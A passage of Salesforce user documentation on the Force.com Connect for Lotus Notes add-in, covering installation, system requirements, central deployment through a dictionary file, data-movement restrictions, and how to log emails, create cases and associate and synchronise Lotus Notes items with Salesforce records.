are mapping a field that represents the urgency of a task, then choose Priority. If you are mapping a field that represents the status of a task, then choose Status. If you are mapping a field that represents how other users see this time in your calendar, then choose BusyStatus.

2459

Connect for Lotus Notes

Force.com Connect for Lotus Notes Overview

If you change the default value of the Conversion field, the value will display in the Type column when you view your saved mappings. 6. Leave the Matching score and Nonmatching score fields at 50. Modifying these fields is an advanced customization that may cause duplicate records to be created. 7. Click OK to save the new mapping. To change the mapping for a specific field, select it from the list and click Edit Mapping. To delete the mapping for a field, select it from the list and click Delete Mapping.

See Also:
Setting Connect for Outlook Options About Universally Required Fields About Default Field Values Custom Field Attributes

CONNECT FOR LOTUS NOTES


Force.com Connect for Lotus Notes Overview
Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions Force.com Connect for Lotus Notes is an add-in for IBM Lotus Notes that allows you to interact with Salesforce conveniently from Lotus Notes. Connect for Lotus Notes adds new commands to the Lotus Notes user interface. With Connect for Lotus Notes, you can: Use the Salesforce address book to insert contacts and leads as email recipients Add outbound or existing email messages from Lotus Notes to accounts, assets, campaigns, cases, contacts, contracts, custom objects, leads, opportunities, or products in Salesforce Upload email attachments to Salesforce Create a new case in Salesforce from a Lotus Notes email Associate calendar events and tasks in Lotus Notes with records in Salesforce Associate contacts in Lotus Notes with records in Salesforce Synchronize contacts, calendar events, and tasks between Salesforce and Lotus Notes From Lotus Notes, open a Salesforce record's detail page in a Web browser From Lotus Notes 8.x and later, display the Salesforce toolbar in place of items in the Actions menu.

2460

Connect for Lotus Notes

Installing Connect for Lotus Notes

Note: The version of Connect for Lotus Notes that you have installed may not include all of these features. To upgrade to the most recent Connect for Lotus Notes version, click Your Name > Setup > Desktop Integration > Connect for Lotus Notes. If your administrator has renamed any Salesforce standard tab names, the tab names you see in Lotus Notes are different than those mentioned in these help topics. Also, your administrator may have customized Connect for Lotus Notes to disallow certain operations such as synchronizing contacts or uploading attachments. If your administrator has prohibited a particular operation, all related commands are disabled in your user interface. Connect for Lotus Notes version 3.2 and later supports person accounts if they have been implemented in your organization. For more information, see Working with Person Accounts in Connect for Lotus Notes on page 2478.

See Also:
Installing Connect for Lotus Notes Setting Connect for Lotus Notes Options Using Connect for Lotus Notes FAQ: Connect for Lotus Notes Tip sheet: Working with Connect for Lotus Notes Tip sheet: Administering Connect for Lotus Notes Release Notes: What's New with Force.com Connect for Lotus Notes?

Installing Connect for Lotus Notes


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

To download and install Connect for Lotus Notes: 1. Back up your Lotus Notes databases. Contact your IT department for its preferred backup procedures. 2. Close Lotus Notes. 3. Back up your Salesforce data. We recommend you run reports of your contacts and activities and then export them to Excel. Alternatively, users with Enterprise or Unlimited Editions can ask their Salesforce administrator to back up their organizations data using weekly export. 4. In Salesforce, click Your Name > Setup > Desktop Integration > Connect for Lotus Notes. In Enterprise and Unlimited Editions, your administrator may have prohibited access to the download page. For more information, see Desktop Client Access Overview on page 518. 5. Click Install Now. The Connect for Lotus Notes download page also includes a link to download a .msi file so administrators can centrally deploy Connect for Lotus Notes to their organizations. Note: Standard configurations of Lotus Notes versions 8.x and later must be set to trust Certificate Authorities (CAs) before you can install Connect for Lotus Notes. This is because Salesforce signs Connect for Lotus Notes with a Verisign certificate, but Lotus Notes doesn't trust such certificates by default. Just set the Lotus Notes security

2461

Connect for Lotus Notes

Installing Connect for Lotus Notes

policy to trust CAs wherever you manage client preferences, such as in a Domino server or in the Lotus Notes customizations file. For the latter: a. Locate the plugin_customization.ini file in your Lotus Notes installation directory (by default, C:\Program Files\IBM\Lotus\Notes\framework\rcp). b. Add the following setting: com.ibm.rcp.security.update/TRUST_CERTIFICATE_AUTHORITIES=true. 6. Run the installer, following the prompts on each screen. 7. Start Lotus Notes. A wizard introduces you to features and options. To change your Connect for Lotus Notes options later, use the Configuration Options dialog box. 8. After completing the wizard, restart Lotus Notes to apply your changes. Note: Connect for Lotus Notes requires Salesforce to install components that edit the registry on your computer. If your organization imposes security that prevents you from editing the registry, log in as the administrator of your computer before installing these components or contact your IT department for assistance.

Logging in to Connect for Lotus Notes


If your organization restricts IP addresses, logins from untrusted IPs are blocked until they're activated. Salesforce automatically sends you an activation email that you can use to log in. The email contains a security token that you must add to the end of your password. For example, if your password is mypassword, and your security token is XXXXXXXXXX, you must enter mypasswordXXXXXXXXXX to log in.

See Also:
Connect for Lotus Notes System Requirements Using Connect for Lotus Notes Setting Connect for Lotus Notes Options Deploying Connect for Lotus Notes System-Wide Tip sheet: Administering Connect for Lotus Notes Release Notes: What's New with Force.com Connect for Lotus Notes?

Connect for Lotus Notes System Requirements


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

System Requirements Microsoft Windows 2000, Windows XP Professional, or Windows Vista (32-bit only; 64-bit is not supported) IBM Lotus Notes versions 8.x later. We recommend that you always use the latest available Lotus Notes fix pack.

Other Requirements Database templates from Lotus Notes versions 6.0, 6.5, and 7.0 aren't supported in versions 8.0.1 and later.

2462

Connect for Lotus Notes

Installing Connect for Lotus Notes

Additional Details Connect for Lotus Notes is available in all supported languages offered by Salesforce. However, your Connect for Lotus Notes language is determined by your Lotus Notes regional setting rather than your Salesforce language. To display non-English characters in Connect for Lotus Notes, you must install the Windows language service packs for the characters you want to display. Caution: If your organization uses a custom Lotus Notes design template (.ntf) with modified fields, Connect for Lotus Notes may not function as expected.

See Also:
Installing Connect for Lotus Notes Force.com Connect for Lotus Notes Overview

Deploying Connect for Lotus Notes System-Wide


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

As an administrator, you can centrally deploy Connect for Lotus Notes to your users: 1. Back up your users' Lotus Notes databases. 2. Make sure you have a recent backup of your organizations Salesforce data. If your organization does not already receive weekly export files, contact salesforce.com to request them. 3. On your computer, exit Lotus Notes. 4. In Salesforce, go to the Connect for Lotus Notes download page at Your Name > Setup > Desktop Integration > Connect for Lotus Notes. 5. Save the .msi file to your computer. You will use this file when you roll out Connect for Lotus Notes to your users. 6. Install Connect for Lotus Notes on your computer. 7. To control what users can and cannot do with Connect for Lotus Notes, you can modify registry entries and restrict data movement. Modifying Registry Entries To customize the default behavior of Connect for Lotus Notes for your users, follow this procedure: 1. Open your Connect for Lotus Notes dictionary file at C:\Program Files\Lotus\Notes\L_Dictionary.xml (or wherever Lotus Notes program files exist on your computer). Note that this dictionary file takes precedence over the file with the same name at C:\Documents and Settings\<user name>\ Application Data\salesforce.com\SM. 2. If necessary, change the OverrideOptions attribute to true. 3. Using this tip sheet for reference, add entries to the <OverrideOptions> section. For example, to hide the salesforce.com splash page which ordinarily displays when Lotus Notes starts, add the line <PutRegistry name="DisplaySplash" type="string" value="false" />. The valid options for type are string and dword. A string can have a maximum of 256 characters. A dword can be an integer no greater than 0x7FFF. 4. Save your modified dictionary file.

2463

Connect for Lotus Notes

Installing Connect for Lotus Notes

5. Optionally, follow the steps in Restricting Data Movement on page 2464 to make additional dictionary file changes. 6. Using a tool such as Microsoft Systems Management Server (SMS), distribute the XML file to your users in the following directory: C:\Program Files\Lotus\Notes (or wherever Lotus Notes program files exist on their computers). 7. For your users, Connect for Lotus Notes will operate according to the options you specified. Restricting Data Movement Connect for Lotus Notes allows users to synchronize their contacts, events, and tasks between Salesforce and Lotus Notes. As an administrator, you can enforce data quality by controlling how data can move during synchronizations. Follow these steps: 1. Start a Lotus Notes client that has the Connect for Lotus Notes add-in installed. 2. In Lotus Notes, go to Actions > Salesforce Options. 3. In the Contacts, Events, and Tasks tabs, set the following fields as desired:
Synchronize Data with Salesforce - Select this checkbox to allow users to synchronize that type of record.

If you deselect it, all Connect for Lotus Notes features related to synchronization will be hidden from your users. Data Movement - Can be Export to Salesforce, Export with Overwrites to Salesforce, Import from Salesforce, Import with Overwrites from Salesforce, or Synchronize with Salesforce. These options determine how data moves between Salesforce and Connect for Lotus Notes during synchronization. Always mark for sync - Select this checkbox to automatically select the Mark for Sync option on all newly created items of the appropriate type that you save to your synchronization folder. For example, if you set this option for contacts, any newly created contacts that you save to the synchronization folder are automatically included the next time you sync with Salesforce. You can exclude an automatically-marked item from synchronization if you manually unmark it. Note: Records created or edited on the server or on other devices, such as a Blackberry, won't be marked for sync.

Click Advanced > Conflict and choose one of the following radio buttons: Ignore all conflicts, Notify me when conflicts occur, Salesforce always wins, or Lotus Notes always wins. These advanced options determine how Connect for Lotus Notes handles conflicts between Salesforce and Lotus Notes data during synchronization.

4. Click the User Permissions tab. For reference, the Synchronization Settings area summarizes the settings you made in the previous step. 5. In the User Permissions area, select or deselect the following checkboxes:
User can modify which objects are synchronized User can modify field mappings - see Mapping Custom Fields for Connect for Lotus Notes Synchronization

on page 2486
User can modify conflict resolution options - see Resolving Data Conflicts During Connect for Lotus

Notes Synchronization on page 2477


User can modify the direction of synchronizations User can use quick create - This setting enables the Quick Create links and buttons for accounts, contacts,

and leads on the Add to Salesforce and Change Associations dialog boxes, which allow you to quickly create records from Lotus Notes. 6. As needed, enter custom view names in the Custom view names box. For example, you can specify a view for a particular language, or specify a nonstandard folder or view where you would like Connect for Lotus Notes commands to be enabled. Use semicolons to separate multiple names. 7. As needed, enter custom class names in the Custom template classes box. Use semicolons to separate multiple values.

2464

Connect for Lotus Notes

Using Connect for Lotus Notes

In Lotus Notes, template class names are displayed in the dialog box at File > Database > Properties - see the Inheritance section on the fourth tab from the left. 8. Optionally, click Restore to revert the settings to their default values. 9. Click the Show File button to open the settings file L_Dictionary.xml. If necessary, change the OverrideOptions attribute to true. Save and close the file. 10. If you have not already prohibited user access to program files, do so now. At a minimum, deny write access to C:\Program Files\salesforce.com. 11. Using a tool such as Microsoft Systems Management Server (SMS), distribute the XML file to your users in the following directory: C:\Program Files\Lotus\Notes (or wherever Lotus Notes program files exist on their computers). 12. When they start Connect for Lotus Notes, users will only be able to perform the operations that you have enabled and will not have access to the User Permissions tab in the options dialog box. For information on using registry keys to customize Connect for Lotus Notes for your users, see the Administering Connect for Lotus Notes tip sheet.

See Also:
Installing Connect for Lotus Notes Setting Connect for Lotus Notes Options Tip sheet: Administering Connect for Lotus Notes Release Notes: What's New with Force.com Connect for Lotus Notes?

Using Connect for Lotus Notes


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

Connect for Lotus Notes is easy to usemost actions take only a few clicks to perform. Connect for Lotus Notes commands are conveniently located in the right-click menu, Actions menu, or Salesforce toolbar, depending on your version of Lotus Notes.

Understanding Data Limits in Connect for Lotus Notes Fields


Lotus Notes limits the amount of data you can store in fields. For rich text format (RTF) fields, you can have no more than 64 KB of data. For all other fields, you can have no more than 32 KB of data. This means that if the Salesforce fields exceed these limits, you can't sync to Lotus Notes successfully using Connect for Lotus Notes.

Working with Lotus Notes Email Messages


Adding Contacts and Leads as Lotus Notes Email Recipients on page 2466 Adding Outbound Lotus Notes Email Messages to Salesforce on page 2467 Adding Sent or Received Lotus Notes Email Messages to Salesforce on page 2468 Creating Cases from Lotus Notes Email Messages on page 2474

Working with Lotus Notes Contacts, Calendar Events, and Tasks


Associating Lotus Notes Events and Tasks with Salesforce Records on page 2471 Associating Lotus Notes Contacts with Salesforce Records on page 2472

2465

Connect for Lotus Notes

Adding Contacts and Leads as Lotus Notes Email Recipients

Synchronizing Your Contacts and Activities with Connect for Lotus Notes on page 2475 Opening Salesforce Records from Lotus Notes on page 2478

Working with Person Accounts


Working with Person Accounts in Connect for Lotus Notes on page 2478 Note: The version of Connect for Lotus Notes that you have installed may not include all of these features. To upgrade to the most recent Connect for Lotus Notes version, click Your Name > Setup > Desktop Integration > Connect for Lotus Notes. If your administrator has renamed any Salesforce standard tab names, the tab names you see in Lotus Notes are different than those mentioned in these help topics. Also, your administrator may have customized Connect for Lotus Notes to disallow certain operations such as synchronizing contacts or uploading attachments. If your administrator has prohibited a particular operation, all related commands are disabled in your user interface. Connect for Lotus Notes version 3.2 and later supports person accounts if they have been implemented in your organization. For more information, see Working with Person Accounts in Connect for Lotus Notes on page 2478.

See Also:
Force.com Connect for Lotus Notes Overview Installing Connect for Lotus Notes Setting Connect for Lotus Notes Options Quickly Creating Salesforce Records from Lotus Notes Release Notes: What's New with Force.com Connect for Lotus Notes?

Adding Contacts and Leads as Lotus Notes Email Recipients


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

With Connect for Lotus Notes, you can use the Salesforce Address Book to find contacts and leads and add them as recipients of outbound emails. 1. In Lotus Notes, click the mail icon to open your email database. 2. Start a new message. 3. Choose Salesforce Address Book from the right-click menu, Actions menu, or Salesforce toolbar, depending on your version of Lotus Notes. 4. In the search box, enter all or part of the Email, First Name, Last Name, Phone, lead Company, custom email or phone number field, or any other field accessible in search for contacts and leads. For example, enter mi, mike, meyers, or mike meyers to find Mike Meyers. Your search term must have a minimum of two characters. 5. Click Search. 6. Select names from the matching contacts and leads. 7. Click the To, Cc, or Bcc button to add the names as email recipients.

2466

Connect for Lotus Notes

Adding Outbound Lotus Notes Email Messages to Salesforce

8. Click OK to finish.

See Also:
Using Connect for Lotus Notes Adding Outbound Lotus Notes Email Messages to Salesforce

Adding Outbound Lotus Notes Email Messages to Salesforce


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

Connect for Lotus Notes enables you to send email messages from Lotus Notes and quickly log them as tasks in Salesforce. For example, if you send an email requesting feedback about an opportunity, you can save the email as a task assigned to you in Salesforce. The email is added to Salesforce as a completed task in the Activity History related list of the associated records. 1. In Lotus Notes, click the mail icon to open your email database. 2. Start a new email. 3. Optionally, use the Salesforce Address Book to add contacts and leads as recipients of the email. See Adding Contacts and Leads as Lotus Notes Email Recipients on page 2466. 4. Compose the email message. 5. Choose Send and Add from the right-click menu, Actions menu, or Salesforce toolbar, depending on your version of Lotus Notes. Alternatively, choose Send File and Add to also file the sent email in a Lotus Notes folder of your choice. The Add to Salesforce dialog box opens. Note: If you have multiple IMAP or POP3 email accounts configured in Lotus Notes, Connect for Lotus Notes always uses your default IMAP or POP3 email account as the email sender when you click Add to Salesforce, no matter which email account you are currently using in Lotus Notes. 6. Associate the email with accounts, assets, campaigns, cases, contacts, contracts, custom objects, leads, opportunities, or products. 7. Optionally, create a new account, contact, or lead from the Add to Salesforce dialog box. 8. On the Attachments tab, add email attachments or other files on your computer as attachments on the contact, lead, or other record you chose earlier. a. On the Attachments tab, select a radio button to specify the record where the attachment will be uploaded. You can only choose one record. b. In the Email Attachments box, select the checkboxes next to the attachments you want to upload. c. In the Files from My Computer box, click Add... to browse for files on your local computer to upload. 9. On the Message tab, you can edit the message contents that will be added to Salesforce. Any changes you make only affect the newly-created task in Salesforce, not the stored email in Lotus Notes. 10. Click Add to Salesforce in the Add to Salesforce dialog box. 11. If you chose Send File and Add, select the Lotus Notes folder where you want to save the sent email.

2467

Connect for Lotus Notes

Adding Sent or Received Lotus Notes Email Messages to Salesforce

12. The email is added as a task in the Activity History related list of the associated records. The Type field on the new task is automatically set to Email. In the confirmation dialog box, click OK to return to your email database. If the Show item after adding email checkbox is selected on the Email tab of your Salesforce Options dialog box, then the new task automatically opens in your Web browser. Note that the browser window may open behind the other windows on your desktop. Note: The version of Connect for Lotus Notes that you have installed may not include all of these features. To upgrade to the most recent Connect for Lotus Notes version, click Your Name > Setup > Desktop Integration > Connect for Lotus Notes. If your administrator has renamed any Salesforce standard tab names, the tab names you see in Lotus Notes are different than those mentioned in these help topics. Also, your administrator may have customized Connect for Lotus Notes to disallow certain operations such as synchronizing contacts or uploading attachments. If your administrator has prohibited a particular operation, all related commands are disabled in your user interface. Connect for Lotus Notes version 3.2 and later supports person accounts if they have been implemented in your organization. For more information, see Working with Person Accounts in Connect for Lotus Notes on page 2478.

See Also:
Using Connect for Lotus Notes Adding Sent or Received Lotus Notes Email Messages to Salesforce Creating Cases from Lotus Notes Email Messages

Adding Sent or Received Lotus Notes Email Messages to Salesforce


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

You can use Connect for Lotus Notes to add email messages that you have sent or received in Lotus Notes as tasks in Salesforce. For inbound email, the due date of the task is the date the email was delivered. For outbound email, the due date is the date the email was sent. 1. In your Lotus Notes mail view, select one or more email messages so a check mark displays next to each. Alternatively, open an individual email. 2. Choose Add Email from the right-click menu, Actions menu, or Salesforce toolbar, depending on your version of Lotus Notes. The Add to Salesforce dialog box opens. 3. Associate the email with accounts, assets, campaigns, cases, contacts, contracts, custom objects, leads, opportunities, or products. 4. Optionally, create a new account, contact, or lead from the Add to Salesforce dialog box. 5. On the Attachments tab, add email attachments or other files on your computer as attachments on the contact, lead, or other record you chose earlier.

2468

Connect for Lotus Notes

Associating Lotus Notes Email Messages with Salesforce Records

a. On the Attachments tab, select a radio button to specify the record where the attachment will be uploaded. You can only choose one record. b. In the Email Attachments box, select the checkboxes next to the attachments you want to upload. c. In the Files from My Computer box, click Add... to browse for files on your local computer to upload. 6. On the Message tab, you can edit the message contents that will be added to Salesforce. Any changes you make only affect the newly-created task in Salesforce, not the stored email in Lotus Notes. 7. Click Add to Salesforce in the Add to Salesforce dialog box. 8. The email is added as a task in the Activity History related list of the associated records. The Type field on the new task is automatically set to Email. In the confirmation dialog box, click OK to return to your email database. If the Show item after adding email checkbox is selected on the Email tab of your Salesforce Options dialog box, then the new task automatically opens in your Web browser. Note that the browser window may open behind the other windows on your desktop. Note: The version of Connect for Lotus Notes that you have installed may not include all of these features. To upgrade to the most recent Connect for Lotus Notes version, click Your Name > Setup > Desktop Integration > Connect for Lotus Notes. If your administrator has renamed any Salesforce standard tab names, the tab names you see in Lotus Notes are different than those mentioned in these help topics. Also, your administrator may have customized Connect for Lotus Notes to disallow certain operations such as synchronizing contacts or uploading attachments. If your administrator has prohibited a particular operation, all related commands are disabled in your user interface. Connect for Lotus Notes version 3.2 and later supports person accounts if they have been implemented in your organization. For more information, see Working with Person Accounts in Connect for Lotus Notes on page 2478.

See Also:
Using Connect for Lotus Notes Adding Outbound Lotus Notes Email Messages to Salesforce Creating Cases from Lotus Notes Email Messages

Associating Lotus Notes Email Messages with Salesforce Records


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

User Permissions Needed To associate Lotus Notes items with Salesforce records: Read on each type of record

You can associate Lotus Notes email messages with accounts, assets, campaigns, cases, contacts, contracts, custom objects, leads, opportunities, or products.

2469

Connect for Lotus Notes

Associating Lotus Notes Email Messages with Salesforce Records

1. Compose a new outbound email or select a sent or received email, and then open the Add to Salesforce dialog box. 2. On the Names tab: a. Confirm that the task has the correct assignee, status, and subject. b. In the Results box, double-click the correct contact or lead to associate with the task. Your selection displays at the bottom of the tab. You can click the View link to open the contact or lead in Salesforce or click the Clear link to make another selection. Note that when you select a lead, you cannot associate the email with another Salesforce record. If needed, enter criteria in the Search field and click Go! c. If you do not find the contact or lead you want, you can create a new one by clicking the Quick Create Contact or Lead links, if enabled. 3. On the Related To tab: a. Optionally, search for another record such as an account or opportunity to associate with the task. Double-click the correct record in the Results box. Your selection displays at the bottom of the tab. b. If you do not find the account you want, you can create a new account by clicking the Quick Create Account link, if enabled. 4. Continue adding the email to Salesforce. See Adding Outbound Lotus Notes Email Messages to Salesforce on page 2467 and Adding Sent or Received Lotus Notes Email Messages to Salesforce on page 2468.

Search Tips
If enabled, the Names tab in the Add to Salesforce dialog box of Connect for Lotus Notes can automatically search for contacts and leads whose email addresses match an address in the To, Cc, Bcc, or From fields of the Lotus Notes email. You can perform searches for any field supported in Salesforce Sidebar Search. In addition, you can search for products. You must enter at least two characters before clicking Go! to run a search. When searching for records, you can use Boolean operators such as AND and OR. In the Search Options box on the Related To tab, you can choose which types of records to search for. To search across all possible types of records, select the checkbox in the header row. However, products must be searched for alone. If the search results return multiple matches and you are not sure which to select, click the View link to open that record in a Web browser.

Association Tips
When associating an email to a contact in the Add to Salesforce dialog box of Connect for Lotus Notes, you can choose one other related record; for a lead, you cannot associate another related record. On the Related To tab, you can search for accounts, assets, campaigns, cases, contacts, contracts, custom objects, leads, opportunities, or products to associate with the new task. To make a custom object available for association, your Salesforce administrator must select Allow Activities and Deployed on the custom object definition. On the Related To tab, the record you select does not need to have a relationship to your chosen contact on the Names tab. Note: The version of Connect for Lotus Notes that you have installed may not include all of these features. To upgrade to the most recent Connect for Lotus Notes version, click Your Name > Setup > Desktop Integration > Connect for Lotus Notes. If your administrator has renamed any Salesforce standard tab names, the tab names you see in Lotus Notes are different than those mentioned in these help topics. Also, your administrator may have customized Connect for Lotus Notes to disallow certain operations such as synchronizing contacts or uploading attachments. If your administrator has prohibited a particular operation, all related commands are disabled in your user interface.

2470

Connect for Lotus Notes

Associating Lotus Notes Events and Tasks with Salesforce Records

Connect for Lotus Notes version 3.2 and later supports person accounts if they have been implemented in your organization. For more information, see Working with Person Accounts in Connect for Lotus Notes on page 2478.

See Also:
Using Connect for Lotus Notes Creating Cases from Lotus Notes Email Messages Quickly Creating Salesforce Records from Lotus Notes

Associating Lotus Notes Events and Tasks with Salesforce Records


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

User Permissions Needed To associate Lotus Notes items with Salesforce records: Read on each type of record

In Lotus Notes, you can associate events on your calendar and tasks on your to-do list with accounts, assets, campaigns, cases, contacts, contracts, custom objects, leads, opportunities, or products. Note that you can only associate the custom objects for which your administrator has selected Allow Activities and Deployed on the custom object definition. 1. In Lotus Notes, select one or more items so a check mark displays next to each. Alternatively, open an individual item. 2. Select Change Associations from the right-click menu, Actions menu, or Salesforce toolbar, depending on your version of Lotus Notes. The Change Associations dialog box opens. 3. If you are associating a calendar event or task, use the Search Salesforce drop-down list in the Contacts/Leads or Other Records tab to select the correct object type. Note: If you select Leads on the Contacts/Leads tab, the Other Records tab disappears. This is because leads are considered prospects that have no associated records. To associate to other records, first select Contacts from the drop-down list, and then click the Other Records tab. 4. Double-click the correct item in the search results to select an existing record to associate. Optionally, click View in Salesforce to open that items record in your Web browser. If you do not find the Salesforce record you want, you can create a new account, contact, or lead by clicking the appropriate Quick Create button. The event or task is associated with this new Salesforce record after the next sync. 5. Click OK to save your work. Associations are not propagated to Salesforce until a synchronization has been performed. You can set items to be automatically marked for sync when you set up configuration options.

2471

Connect for Lotus Notes

Associating Lotus Notes Contacts with Salesforce Records

Note: The version of Connect for Lotus Notes that you have installed may not include all of these features. To upgrade to the most recent Connect for Lotus Notes version, click Your Name > Setup > Desktop Integration > Connect for Lotus Notes. If your administrator has renamed any Salesforce standard tab names, the tab names you see in Lotus Notes are different than those mentioned in these help topics. Also, your administrator may have customized Connect for Lotus Notes to disallow certain operations such as synchronizing contacts or uploading attachments. If your administrator has prohibited a particular operation, all related commands are disabled in your user interface. Connect for Lotus Notes version 3.2 and later supports person accounts if they have been implemented in your organization. For more information, see Working with Person Accounts in Connect for Lotus Notes on page 2478.

See Also:
Using Connect for Lotus Notes Quickly Creating Salesforce Records from Lotus Notes

Associating Lotus Notes Contacts with Salesforce Records


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

User Permissions Needed To associate Lotus Notes items with Salesforce records: Read on each type of record

In Lotus Notes, you can specify an account to which a contact is related as well as the name of the contact's reporting manager. 1. In Lotus Notes, select one or more contacts so a check mark displays next to each. Alternatively, open an individual contact. 2. Select Change Associations from the right-click menu, Actions menu, or Salesforce toolbar, depending on your version of Lotus Notes. The Change Associations dialog box opens. 3. If the Company or Manager's Name fields are populated for at least one of the selected contacts, you must select the associated Account and Reports To records in Salesforce. 4. Double-click the correct item in the search results to select an existing record to associate. Optionally, click View in Salesforce to open that items record in your Web browser. If you do not find the Salesforce record you want, you can create a new account, contact, or lead by clicking the appropriate Quick Create button. The contact is associated with this new Salesforce object after the next sync. 5. Click OK to save your work. Note: Associations are not propagated to Salesforce until a synchronization has been performed. You can set items to be automatically marked for synchronization when you set up configuration options.

2472

Connect for Lotus Notes

Quickly Creating Salesforce Records from Lotus Notes

Note: The version of Connect for Lotus Notes that you have installed may not include all of these features. To upgrade to the most recent Connect for Lotus Notes version, click Your Name > Setup > Desktop Integration > Connect for Lotus Notes. If your administrator has renamed any Salesforce standard tab names, the tab names you see in Lotus Notes are different than those mentioned in these help topics. Also, your administrator may have customized Connect for Lotus Notes to disallow certain operations such as synchronizing contacts or uploading attachments. If your administrator has prohibited a particular operation, all related commands are disabled in your user interface. Connect for Lotus Notes version 3.2 and later supports person accounts if they have been implemented in your organization. For more information, see Working with Person Accounts in Connect for Lotus Notes on page 2478.

See Also:
Using Connect for Lotus Notes Quickly Creating Salesforce Records from Lotus Notes

Quickly Creating Salesforce Records from Lotus Notes


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

User Permissions Needed To create accounts from Lotus Notes: To create contacts from Lotus Notes: To create leads from Lotus Notes: Create on accounts Create on contacts Create on leads

If enabled by your administrator, you can use the Quick Create links in the Add to Salesforce and Associate Item dialog boxes to rapidly add new accounts, contacts, or leads. 1. In the Quick Create area, click Account, Contact, or Lead. The links vary depending on your current context. 2. In the popup dialog box, fill in the fields to add a new record. Fields marked with a red line are required. 3. Click Save. The new record is immediately created. 4. Optionally, click View to open the record in your Web browser. Tip: To close the popup without saving, press the ESC key.

Note: The version of Connect for Lotus Notes that you have installed may not include all of these features. To upgrade to the most recent Connect for Lotus Notes version, click Your Name > Setup > Desktop Integration > Connect for Lotus Notes. If your administrator has renamed any Salesforce standard tab names, the tab names you see in Lotus Notes are different than those mentioned in these help topics. Also, your administrator may have customized Connect for Lotus Notes

2473

Connect for Lotus Notes

Creating Cases from Lotus Notes Email Messages

to disallow certain operations such as synchronizing contacts or uploading attachments. If your administrator has prohibited a particular operation, all related commands are disabled in your user interface. Connect for Lotus Notes version 3.2 and later supports person accounts if they have been implemented in your organization. For more information, see Working with Person Accounts in Connect for Lotus Notes on page 2478.

See Also:
Using Connect for Lotus Notes Associating Lotus Notes Email Messages with Salesforce Records Creating Cases from Lotus Notes Email Messages Associating Lotus Notes Events and Tasks with Salesforce Records Associating Lotus Notes Contacts with Salesforce Records

Creating Cases from Lotus Notes Email Messages


Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

You can create a case in Salesforce using the contents of an email that you have sent or received in Lotus Notes. For example, if you receive an email reporting a problem that you want to track in Salesforce, you can log the email as a Salesforce case that will be assigned to you. 1. In your Lotus Notes mail view, select one or more email messages so a check mark displays next to each. Alternatively, open an individual email. 2. Choose Add Case from the right-click menu, Actions menu, or Salesforce toolbar, depending on your version of Lotus Notes. The Add to Salesforce dialog box opens. 3. On the Names tab: a. Confirm that the case has the correct case owner, status, and subject. b. If you want to automatically assign a case owner, select Use assignment rules to select case owner. The Case Owner field indicates that the owner will be assigned automatically, and the Change and View links are disabled. You can see the case owner that is automatically assigned when you view this case in Salesforce. c. In the Results box, double-click the correct contact to associate with the case. Your selection displays at the bottom of the tab. You can click the View link to open the contact in Salesforce or click the Clear link to make another selection. If needed, enter criteria in the Search field and click Go! d. If you do not find the contact you want, you can create a new one by clicking the Quick Create Contact link, if enabled. 4. On the Attachments tab: a. Select the Yes radio button to upload an attachment to the new case. b. In the Email Attachments box, select the checkboxes next to the attachments you want to upload. c. In the Files from My Computer box, click Add... to browse for files on your local computer to upload. 5. On the Message tab, edit the message contents that will be added to Salesforce. Any changes you make affect the newly created case in Salesforce only, not the stored email in Lotus Notes.

2474

Connect for Lotus Notes

Synchronizing Your Contacts and Activities with Connect for Lotus Notes

6. When you are ready to create a new case from the Lotus Notes email, click the Add to Salesforce button in the dialog box. If the Show item after creating a case checkbox is selected on the Email tab of your Salesforce Options dialog box, then the new case automatically opens in your Web browser. Note that the browser window may open behind the other windows on your desktop. Note: The version of Connect for Lotus Notes that you have installed may not include all of these features. To upgrade to the most recent Connect for Lotus Notes version, click Your Name > Setup > Desktop Integration > Connect for Lotus Notes. If your administrator has renamed any Salesforce standard tab names, the tab names you see in Lotus Notes are different than those mentioned in these help topics. Also, your administrator may have customized Connect for Lotus Notes to disallow certain operations such as synchronizing contacts or uploading attachments. If your administrator has prohibited a particular operation, all related commands are disabled in your user interface. Connect for Lotus Notes version 3.2 and later supports person accounts if they have been implemented in your organization. For more information, see Working with Person Accounts in Connect for Lotus Notes on page 2478.

See Also:
Using Connect for Lotus Notes Adding Outbound Lotus Notes Email Messages to Salesforce Managing Assignment Rules

Synchronizing Your Contacts and Activities with Connect for Lotus Notes
Available in: Personal, Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

With Connect for Lotus Notes, you can synchronize your contacts, tasks, and calendar events between Salesforce and Lotus Notes. This allows updates to records in Lotus Notes and Salesforce to remain in sync. Before you can synchronize to Salesforce, you must save items to your sync folder by marking them for synchronization. To set items that you have saved to your synchronization folder to be automatically marked for sync: 1. Navigate to Tools > Salesforce Options. 2. Select the Contacts, Events, or Tasks tab. 3. Select the Always mark for sync checkbox. Note: Records created or edited on the server or on other devices, such as a Blackberry, won't be marked for sync.

If you want to synchronize contacts owned by other users, set your sync profile before synchronizing. To manually synchronize information:

2475

Connect for Lotus Notes

Synchronizing Your Contacts and Activities with Connect for Lotus Notes

